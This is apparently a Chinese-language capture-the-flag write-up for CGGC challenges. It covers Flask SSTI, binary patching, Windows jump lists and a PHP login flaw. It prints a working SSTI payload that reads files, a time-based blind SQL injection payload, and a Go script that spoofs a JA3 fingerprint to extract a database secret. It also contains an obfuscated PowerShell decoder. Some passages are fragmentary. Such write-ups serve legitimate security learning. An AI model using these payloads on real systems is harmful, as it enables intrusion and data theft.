[Web] bossti#
Description:
I wish you were a boss wannabe.


Secret 是空值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4
Wappalyzer 可以知道服務是 Python Flask,因此可以先找 Python SSTI payload 來測試。

hack 欄位用上 {{ 7*6 }},結果伺服器幫我們算好 42,確定存在 SSTI。
http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{7*6}}%27}
Flag.txt,所以接著找讀檔 payload。原本應該要先想辦法列目錄,但剛好猜中當前目錄,就直接讀到了。
http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{get_flashed_messages.__globals__.__builtins__.open(%22Flag.txt%22).read()}}%27}- flag:
CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}
[MISC] Space game#
Description:
Play a fun space game and try to get a high score. Move using the arrow keys and press ‘Z’ to attack.

binjgb 是一個 Game Boy 模擬器。從 GitHub 文件來看,需要把 .gb 檔案放到伺服器上。

game.gb,而 flag 就藏在這個檔案裡。
- flag:
CGGC{Y0U_WIN!!123}
[Reverse] GaoYi#
Description:
Anyone can participate with three million US dollars.



readFlag()。

readFlag() 裡面在算 flag,本想自己算一遍,但覺得太蠢。

0x00401e3c,讓程式直接計算 flag。



eb6a 改成 e939040000。



- flag:
CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}
[Web] Flag Slot Machine#
Description:
If you’re lucky enough, you’ll be able to get the flag.
// flag.php
<?php
include_once("config.php");
if(isset($_GET["secret"])) {
$pwd = $_GET["secret"];
$dbname = 'secret_db';
$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
if ($conn->connect_error) {
die('Connection failed: ' . $conn->connect_error);
}
$stmt = $conn->prepare("SELECT * FROM s3cret_table");
$stmt->execute();
$result = $stmt->get_result();
$response = array("data" => generateRandomString(strlen($flag)));
if ($result->num_rows > 0) {
$res = $result->fetch_assoc();
if($res["secret"] == $pwd)
$response = array("data" => $flag); // <-- flag here
}flag.php 要求我們在 GET 參數中提供 secret。如果它符合資料庫中的 secret,就可以拿到 flag。
// login.php
<?php
include_once("config.php");
fingerprint_check();
if(isset($_POST['user']) && isset($_POST['pwd'])) {
$user = $_POST['user'];
$pwd = $_POST['pwd'];
} else {
$user = $pwd = "";
}
//...
if($user != "" && $pwd != "") {
$dbname = 'slot_db';
$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
if ($conn->connect_error) {
die('Connection failed: ' . $conn->connect_error);
}
$conn->set_charset("utf8");
$stmt = $conn->prepare("SELECT * FROM users WHERE username = '" . $user . "' and password = '" . md5($pwd) . "'"); // <-- SQLi here
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$res = $result->fetch_assoc();
$_SESSION['login'] = $res["username"];
echo "<div>Login successful!</div>";
echo "<script>setTimeout(function(){ window.location.href = 'index.php'; }, 1000);</script>";
} else {
echo "<div class=\"alert alert-danger\" role=\"alert\">Login failed! QAQ</div>";
}login.php 存在 SQL injection 漏洞,但可惜沒有回顯,因此不能直接把資料庫中的資料挖出來顯示在網頁上。
// config.php
<?php
session_start();
define("FINGERPRINT", "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
define("DBUSER", "kaibro");
define("DBPASS", "superbig");
define("HOST", "localhost");
$flag = 'CGGC{fake_flag}';
function session_check() {
if(!isset($_SESSION['login']) || $_SESSION['login'] == "") {
header("Location: login.php");
die("Plz login");
}
}
function fingerprint_check() {
if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT)
die("Bad hacker! Wrong fingerprint!");
}開始嘗試登入前,會先被 JA3 指紋擋住。這題在 Balsn CTF 出過,可以參考以下 writeup。我一開始照著 writeup 使用 NodeJS,但非同步執行在時間判斷上不太好處理,所以後來改用 Go 版本。
use mysql;
CREATE USER 'kaibro'@'localhost' IDENTIFIED BY 'superbig';
GRANT SELECT ON *.* TO 'kaibro'@localhost IDENTIFIED BY 'superbig' WITH GRANT OPTION;
FLUSH PRIVILEGES;
CREATE DATABASE slot_db;
use slot_db;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(11) DEFAULT NULL,
`username` text,
`password` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
LOCK TABLES `users` WRITE;
INSERT INTO `users` VALUES (1, 'kaibro', '4647570f7638e378e490db41c24c800a');
UNLOCK TABLES;
CREATE DATABASE secret_db;
use secret_db;
DROP TABLE IF EXISTS `s3cret_table`;
CREATE TABLE `s3cret_table` (
`id` int(11) DEFAULT NULL,
`secret` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
LOCK TABLES `s3cret_table` WRITE;
INSERT INTO `s3cret_table` VALUES (1, 'meowmeowmeow');
UNLOCK TABLES;SQL injection 使用 UNION SELECT 前,要先找出欄位數量。題目有提供 DB 結構,所以可以直接知道是三個欄位。我們的目標是 secret_db.s3cret_table 裡的 secret;因為沒有回顯,只能一個字元一個字元比對。第一步先確認 secret 長度,這裡使用 time-based 方法,讓條件成立時 sleep() 幾秒。嘗試幾次後可以知道長度是 32。
user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123'
接下來開始暴力比對 secret,一次取出一個字元並比對 ASCII 碼。需要注意的是,secret 每隔一段時間就會更新,所以不要手動比對(對,我就浪費時間手動比對過,也因此發現字元大概落在 [0-9a-f])。這也呼應前面提到的:用 Go 版本會比較方便計算時間差。
package main
import (
"fmt"
"github.com/Danny-Dasilva/CycleTLS/cycletls"
"strconv"
"time"
"net/http"
"crypto/tls"
"io/ioutil"
)
func main() {
client := cycletls.Init()
// secret length = 32
// Body: 'user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123',
secret := ""
chars := "abcdef1234567890"
for len(secret) < 32 {
for _, char := range chars {
payload := "user=kaibro' UNION Select 1,IF(SUBSTRING(secret," + strconv.Itoa(len(secret)+1) + ",1) = CHAR(" + strconv.Itoa(int(char)) + "),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123"
//fmt.Println(payload)
start := time.Now()
_, err := client.Do("https://10.99.111.111:8787/login.php", cycletls.Options{
Body : payload,
Ja3: "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0",
UserAgent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0",
Headers: map[string]string{
"Content-Type": "application/x-www-form-urlencoded",
},
InsecureSkipVerify: true,
}, "POST");
if err != nil {
fmt.Print("Request Failed: " + err.Error())
}
elapsed := time.Since(start)
//fmt.Println(elapsed)
if (elapsed >= 2000000000) {
secret = secret + string(char)
fmt.Println(secret)
break
}
}
}
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
response, err := http.Get("https://10.99.111.111:8787/flag.php?secret=" + secret)
if err != nil {
fmt.Print("Request Failed: " + err.Error())
}
// read response body
body, error := ioutil.ReadAll(response.Body)
if error != nil {
fmt.Println(error)
}
// close response body
response.Body.Close()
// print response body
fmt.Println(string(body))
}

secret 餵給 flag.php,就可以拿到 flag。
[MISC] Link list#
Description:
DO you know how automatic destination file work? (The flag is separarted into four parts)

- C:\Challenge\
_l457_p4r7_15_h1dd3n!}

l l e n g e \ 後面的 path 才能找到順序正確的 flag 片段;如果用 C:\Challenge\ 找,順序會跑掉。
F L A G IS Pr ob bly Here! Youre Clo se Here It is_ CG GC{ 3 z _f 1 r5 7_ qu 4 r 7 3r _CGGC{3z_f1r57_qu4r73r_

C:\> $t='aRB3BDtBNRAiBGFBNBA2BGVB[tB0BDdBNRAzBDRB[tBtBD7BNtB>';for(($i=0);$i-lt$t.Length;$i++){$k+=[char]($t[$i]-bxor3)};[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($k))
m4l1c10u5_7h1rd_0n3m4l1c10u5_7h1rd_0n3
最後只剩第二段卡住,所以這題沒有完整解出來 :(
CGGC{3z_f1r57_qu4r73r_m4l1c10u5_7h1rd_0n3_l457_p4r7_15_h1dd3n!}
